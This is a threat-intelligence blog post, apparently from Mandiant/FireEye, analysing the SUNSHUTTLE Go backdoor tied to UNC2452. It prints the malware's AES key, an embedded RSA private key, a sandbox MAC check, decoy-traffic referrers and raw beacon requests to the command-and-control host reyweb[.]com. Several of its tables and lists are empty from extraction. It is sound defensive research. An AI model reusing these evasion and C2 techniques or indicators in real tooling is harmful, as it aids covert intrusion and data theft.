The activity discussed in this blog post is also detailed in a href="https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/">Microsoft
blog post. We thank the team at Microsoft and other partners
for their great collaboration in tracking this actor.
Mandiant Threat Intelligence discovered a new backdoor uploaded by a
U.S.-based entity to a public malware repository in August 2020 that
we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an
embedded or local configuration file, communicates with a hard-coded
command and control (C2) server over HTTPS, and supports commands
including remotely uploading its configuration, file upload and
download, and arbitrary command execution. Notably, SUNSHUTTLE uses
cookie headers to pass values to the C2, and if configured, can select
referrers from a list of popular website URLs to help such network
traffic “blend in.”
Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and
have indications that it is linked to UNC2452, but we have not fully
verified this connection.
Please see FireEye’s resource center for href="https://www.fireeye.com/current-threats/sunburst-malware.html">background
on UNC2452 and the SUNBURST campaign.
The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor
that demonstrates straightforward but elegant detection evasion
techniques via its “blend-in” traffic capabilities for C2
communications. SUNSHUTTLE would function as second-stage backdoor in
such a compromise for conducting network reconnaissance alongside
other SUNBURST-related tools.
Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE
backdoor uploaded to an online multi-Antivirus scan service.
SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or
local configuration file, communicates with its C2 server over HTTPS
and supports commands including remotely updating its configuration,
file upload and download, and arbitrary command execution.
For the samples analyzed, the infection vector is not known.
Execution Summary
SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is
executed, a high-level description of the execution is the following:
The SUNSHUTTLE sample analyzed retains the names of the routines
used by the malware, which include the following:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Note: Throughout the SUNSHUTTLE backdoor, unique string
identifiers are used to indicate the operation being performed to the
C2 via a Cookie header, and unique string identifiers are also used to
validate and parse response content from the C2. These unique string
values are thought to be unique and random per compiled sample.
Initial Execution
Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC
address and compares it to a hardcoded MAC address value
“c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC
address is likely a default MAC address for the Windows sandbox
network adapter.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/sunshuttle/fig1.png" alt="" />
Figure 1: Mac address check
Configuration
If the check is successful, the SUNSHUTTLE backdoor then enters a
routine named “main_define_internal_settings”, which handles creation
of the configuration file if one doesn’t already exist in the
directory from which SUNSHUTTLE is running. For the sample analyzed,
the configuration filename is “config.dat.tmp”. The configuration data
is Base64 encoded and AES-256 encrypted using the following key:
hz8l2fnpvp71ujfy8rht6b0smouvp9k8
The configuration has the following example values when Base64
decoded and AES decrypted:
class="code">48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
The configuration holds several values delimited by a “|” character,
which are briefly described as follows.
If set in the configuration, the “blend-in” traffic occurs as the
malware executes and transitions through its routines. The following
URLs are leveraged for the “blend-in” requests:
Session Key Mechanism
SUNSHUTTLE performs initial requests to the C2 in order to request
and then retrieve what it internally refers to as a session key. The
retrieved session key from the C2 appears to be RSA decrypted using
the following private key that is embedded in SUNSHUTTLE and believed
to be unique per compiled sample. Analysis is on-going on how the
decrypted session key is used, but it is likely a session key used to
encrypt content once SUNSHUTTLE transitions to its command-and-control routines.
-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ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bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END
PRIVATE KEY---
After the configuration is created or read from, SUNSHUTTLE enters a
routine named “main_request_session_key”. The malware will iterate
over this routine until it’s successful, sleeping a period of time
after each iteration.
Inside the “main_request_session_key” routine, SUNSHUTTLE
constructs an HTTPS request to its configured C2. Upon an HTTP 200
response from the request, the response data from the C2 is expected
to not contain the following string for the sample analyzed:
The request_session_key routine returns a 1 if the string is not in
the response and a -1 if it is in the response. If the result of the
request_session_key is 1, SUNSHUTTLE will execute the
retrieve_session_key routine.
The retrieve_session_key routine again contacts the C2 and downloads
content that is expected to be decrypted by the aforementioned
embedded private key. The decrypted content is likely a session key
used to encrypt content once SUNSHUTTLE transitions to its
command-and-control routines.
Commanding
Once a session key is retrieved from the C2, SUNSHUTTLE begins the
beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first
issues a beacon to retrieve a command. After, SUNSHUTTLE will enter
the routine “resolve_command”, which parses the response content to
determine which command should be run. Available commands include
remotely updating its configuration, file upload and download, and
arbitrary command execution.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/sunshuttle/fig2.png" alt="" />
Figure 2: Resolve command graph
The content returned from the C2 after the “main_beaconing” routine
is Base64 decoded and AES decrypted. A check is performed to ensure
the decrypted content doesn’t contain the following string:
As noted, it is likely these strings are unique per sample and
randomly generated at compilation.
The decrypted content is parsed for certain unique strings.
| width="312" valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| width="312" valign="top"> |
| width="312" valign="top"> |
After successful execution of the malware, it drops the following
files to the victim’s system:
The SUNSHUTTLE malware was not observed setting its own persistence.
It is likely the persistence is set outside of the execution of SUNSHUTTLE.
SUNSHUTTLE uses the cookie header to pass values to the C2.
Additionally, a referrer is selected from the following list,
presumably to make the traffic blend in if traffic is being decrypted
for inspection:
The cookie headers vary slightly depending on the operation being
performed. The following is an example request to the C2 from the
“request_session_key” routine.
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie:
HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
Within the Cookie header, these values represent the following:
As mentioned, the cookie value “P5hCrabkKf=” contained in each
request signifies the operation that is being performed.
|
|
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
| valign="top"> |
After successful installation / initialization of the malware, it
proceeds to make the following callback to the C2 server reyweb[.]com
via TCP/443 HTTPS:
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie:
HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie:
HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI;
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip
Additionally, if the “fake_requesting” configuration value is set to
1, SUNSHUTTLE will generate traffic meant to blend in with real
traffic. Examples of those requests are as follows:
Victim to C2
GET /icon.png HTTP/1.1
Host:
reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer:
www.google.com
Accept-Encoding: gzip
Victim to C2
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer:
www.facebook.com
Accept-Encoding: gzip
Victim to C2
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer:
www.facebook.com
Accept-Encoding: gzip
Victim to Legitimate
GET / HTTP/1.1
Host:
cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer:
www.google.com
Accept-Encoding: gzip
|
|
| Obfuscated Files or |
| Software |
| Windows Command |
| Web |
| Ingress Tool |
| Deobfuscate/Decode |
| Symmetric |
FireEye security solutions provide detection of the SUNSHUTTLE
activity across email, endpoint and network levels. The following is a
snapshot of existing detections related to activity outlined in this
blog post.
|
|
|
|
Endpoint Security | width="414" valign="top"> |